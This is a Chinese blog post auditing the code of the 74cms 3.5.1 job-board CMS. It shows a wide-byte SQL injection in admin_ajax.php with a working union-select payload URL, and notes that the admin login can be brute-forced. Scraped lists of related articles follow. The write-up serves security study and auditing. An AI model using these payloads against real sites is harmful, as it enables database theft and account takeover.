0x00 网站结构

简单试了一下。每一个模块还是比较清楚的,分别对应网站的一个模块。还有一些没有权限访问

0x01 通读代码

先看入口文件,index.php

开头先对网站是否安装做了判断

然后就是判断是否是手机浏览

页面的变量都做了很好的过滤,单引号闭合,且intval强制转换

然后引入了配置文件:

/include/common.inc.php

include/mysql.class.php

我们跟进

/include/common.inc.php

74cms 公共配置文件

页面包含了几个文件,我们一会跟进,先来看看这个页面

对变量过滤:

if (!empty($_GET))

{

$_GET  = addslashes_deep($_GET);

}

if (!empty($_POST))

{

$_POST = addslashes_deep($_POST);

}

$_COOKIE   = addslashes_deep($_COOKIE);

$_REQUEST  = addslashes_deep($_REQUEST

有一个点:

$online_ip=getip();

$ip_address=convertip($online_ip);

我们一会看一下$ip_address是否拼接到了数据库是否能注入

页面最后

if ($_CFG['filter_ip'] && check_word($_CFG['filter_ip'],$online_ip))

      {

                  $smarty->assign('info',$_CFG['filter_ip_tips']);

                  $smarty->display('warning.htm');

                  exit();

      }

对ip进行了过滤。看起来过滤了字符。

跟进data/config.php

看到gbk,想到了宽字节注入,即使他的页面有时做了转义,依旧能注入

include/common.fun.php

这个就是一整个过滤页面了

过滤了sql,xss

同时ip注入几乎不可能了

include/mysql.class.php

$dbcharset = 'gbk'

于是我们就可以想到了,之后的测试中有目的的进行宽字节注入。

0x02 后台管理员密码可以爆破

我们先打开了后台

看到没有验证码

简单测试了一下并没有对密码错误有什么限制

复现:

虽然速度慢了些但是可以看到还是能够爆破出来密码

0x03 SQL注入漏洞

按照之前的思路找宽字节注入

为了快速挖掘宽字节注入漏洞,我们全局搜索关键字iconv,iconv()函数通常用来进行编码类型转换,搜索后发现共有21处使用了iconv(),我们选择一个文件进行分析,该文件为:/admin/admin_ajax.php

问题代码:

elseif($act == 'get_jobs')

{

      $type=trim($_GET['type']);

      $key=trim($_GET['key']);

      if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

      {

      $key=iconv("utf-8",QISHI_DBCHARSET,$key);

      }     

      if ($type=="get_id")

      {

            $id=intval($key);

            $sql = "select * from ".table('jobs')." where id='{$id}' 
LIMIT 1";       }       elseif ($type=="get_jobname")       {             $sql = "select * from ".table('jobs')." where jobs_name like
'%{$key}%'  LIMIT 30";       }       elseif ($type=="get_comname")       {             $sql = "select * from ".table('jobs')." where companyname
like '%{$key}%'  LIMIT 30";       }       elseif ($type=="get_uid")       {             $uid=intval($key);             $sql = "select * from ".table('jobs')." where uid='{$uid}' 
LIMIT 30";               }       else       {       exit();       }             $result = $db->query($sql);             while($row = $db->fetch_array($result))             {                   $row['addtime']=date("Y-m-d",$row['addtime']);                   $row['deadline']=date("Y-m-d",$row['deadline']);                   $row['refreshtime']=date("Y-m-d",$row['refreshtime']);                   $row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['company_id']),false);                   $row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']),false);                   $info[]=$row['id']."%%%".$row['jobs_name']."%%%".$row['jobs_url']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime']."%%%".$row['deadline']."%%%".$row['refreshtime'];             }             if (!empty($info))             {             exit(implode('@@@',$info));             }             else             {             exit();             } } elseif($act == 'get_company') {       $type=trim($_GET['type']);       $key=trim($_GET['key']);       if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)       {       $key=iconv("utf-8",QISHI_DBCHARSET,$key);       }            if ($type=="getuname")       {             $sql = "select * from ".table('members')." AS m  LEFT JOIN 
".table('company_profile')." AS c ON  m.uid=c.uid where m.username like
'{$key}%' AND m.utype=1 LIMIT 20";       }       elseif ($type=="getcomname")       {             $sql = "select * from ".table('company_profile')." where
companyname like '%{$key}%'  LIMIT 30";       }       else       {       exit();       }             $result = $db->query($sql);             while($row = $db->fetch_array($result))             {                   if (empty($row['companyname']))                   {                   continue;                   }                   $row['addtime']=date("Y-m-d",$row['addtime']);                   $row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['id']),false);                   $info[]=$row['id']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime'];             }             if (!empty($info))             {             exit(implode('@@@',$info));             } }

这里的iconv()函数将变量$key由gbk编码转换为了utf-8编码。在我之前的宽字节注入文章中提到过单引号被addslashes转义成为',如果提交%df,那就会与(url编码为%5c)组合成为了%df%5c,也就是gbk编码中的“運”字,组合之后被转义的“ ' ”中的“ ‘ ”还存在,成功闭合了之前的单引号。

复现

payload:

http://127.0.0.1/74cms/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=%E9%81%8B%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

0x04 总结

这个cms过滤的已经是挺严格了,最大的问题就是74cms的通病,宽字节注入。

在后来的版本中即使iconv()被替换,仍然存在这个问题。

还有74cms默认不开启验证码,即使开启了我们也能绕过,这个就造成了我们可以爆破任意用户的密码。

下一个cms不知道啥时候开始审计,准备开始学习python编程了233.

继续努力吧。还剩点时间去写回java作业orz

2020/2/22 74cms3.5.1 代码审计的更多相关文章

  1. VBE2019的下载、安装和使用(最新版2020.2.22)

    VBE2019可用于XP系统.Windows 7和Windows 10的32位.64位Office对应的VBA环境 安装包下载地址:VBE2019-Setup.zip 下载后解压缩,直接双击安装(请勿 ...

  2. 2020.2.22 bzoj5336 party

    #include<iostream> #include<cstdio> #include<cstring> #include<cctype> #incl ...

  3. 2020/2/17 zzcms8.2 PHP代码审计

    0x00 看网站结构 ********************************* * * * ZZCMS产品版目录结构 * * * ****************************** ...

  4. Office Shared-Addin : Favorite的下载、安装和使用(2020.2.22)

    Favorite是一个可以用于Office常用组件.VBA的共用加载项,32位和64位都兼容. 如果是Office 2007及其以上版本,界面显示为Custom UI+任务窗格. 如果是Office ...

  5. 2020.5.22 第二篇 Scrum冲刺博客

    Team:银河超级无敌舰队 Project:招新通 项目冲刺集合贴:链接 目录 一.每日站立会议 二.项目燃尽图 三.签入记录 3.1 代码/文档签入记录 3.2 主要代码截图 3.3 程序运行截图 ...

  6. 2020年AI、CV、NLP顶会最全时间表

    2020年AI.CV.NLP顶会最全时间表 2019-09-01 14:04:19 weixin_38753768 阅读数 40   2020 AI.CV.NLP主流会议时间表,包含会议举办的时间.地 ...

  7. 《Photoshop 2020》初心版_v6 21.0.2.57

    <Phtoshop 2020>初心版_v6 下载地址(5245) SHA1:E926A1B99D147A27A44050A5BCE2E69E2CDAEEAE 版本信息    发行版本 20 ...

  8. Python 爬取 北京市政府首都之窗信件列表-[Scrapy框架](2020年寒假小目标04)

    日期:2020.01.22 博客期:130 星期三 [代码说明,如果要使用此页代码,必须在本博客页面评论区给予说明] //博客总体说明 1.准备工作(本期博客) 2.爬取工作 3.数据处理 4.信息展 ...

  9. Spring Cloud 2020.0.0 正式发布,全新颠覆性版本!

    Spring Cloud 2020.0.0 没错,Spring Cloud 2020.0.0 正式发布了: 感谢Java技术栈群友通知,想入群的在公众号Java技术栈后台回复:wx,正在使用 Spri ...

随机推荐

  1. nginx + keepalive 实现高可用

    https://blog.csdn.net/u010020099/article/details/82116474 ! Configuration File for keepalived global ...

  2. 一、log4j日志框架的理论和不同场景使用

    1.日志框架: 工作中要进行Java输出日志时,你需要一个或者多个日志框架.框架能提供对象.方法和必要的配置来发送日志信息.Java语言本身有自带的日志实现包java.util.logging.还有很 ...

  3. [CEOI 2004]锯木厂选址

    Description 题库链接 从山顶上到山底下沿着一条直线种植了 \(n\) 棵老树.当地的政府决定把他们砍下来.为了不浪费任何一棵木材,树被砍倒后要运送到锯木厂. 木材只能朝山下运.山脚下有一个 ...

  4. C++11类内static成员变量声明与定义

    众所周知,将一个类内的某个成员变量声明为static型,可以使得该类实例化得到的对象实现对象间数据共享. 在C++中,通常将一个类的声明写在头文件中,将这个类的具体定义(实现)写在cpp源文件中. 因 ...

  5. C++11常用特性介绍——auto类型修饰符

    1.C++11常用特性介绍 从本篇开始介绍C++11常用特性,大致分:关键字及新语法.STL容器.多线程.智能指针内存管理,最后讲一下std::bind和std::function 二.关键字和新语法 ...

  6. (转)js实现倒计时效果(年月日时分秒)

    原文链接:http://mengqing.org/archives/js-countdown.html 之前做的活动页面很多都用到了倒计时功能,所以整理下下次直接用.(用的是张鑫旭写的一个倒计时,稍作 ...

  7. 在 aws emr 上,将 hbase table A 的数据,对 key 做 hash,写到另外一张 table B

    先 scan 原表,然后 bulkload 到新表. 采坑纪录1. bulkload 产生 hfile 前,需要先对 hash(key) 做 repartition,在 shuffle 的 read ...

  8. HTML相关知识点(3)

    文档流: 浮动:用于布局 给三个浮动的盒子加上一个父元素并设置宽高,以免影响其他的盒子和内容 margin:0 auto;居中 在盒子里插入图片: 1.为父元素设置宽高,给图片设置宽100%,图片会充 ...

  9. java并发:interrupt进程终止

    interrupt进程终止 interrupt()源码 /** * Interrupts this thread. * * <p> Unless the current thread is ...

  10. ROS学习笔记INF-重要操作列表

    该笔记将重要操作的步骤进行列表,以便查询: 添加消息 在包中的msg文件夹中创建msg文件 确保package.xml中的如下代码段被启用: <build_depend>message_g ...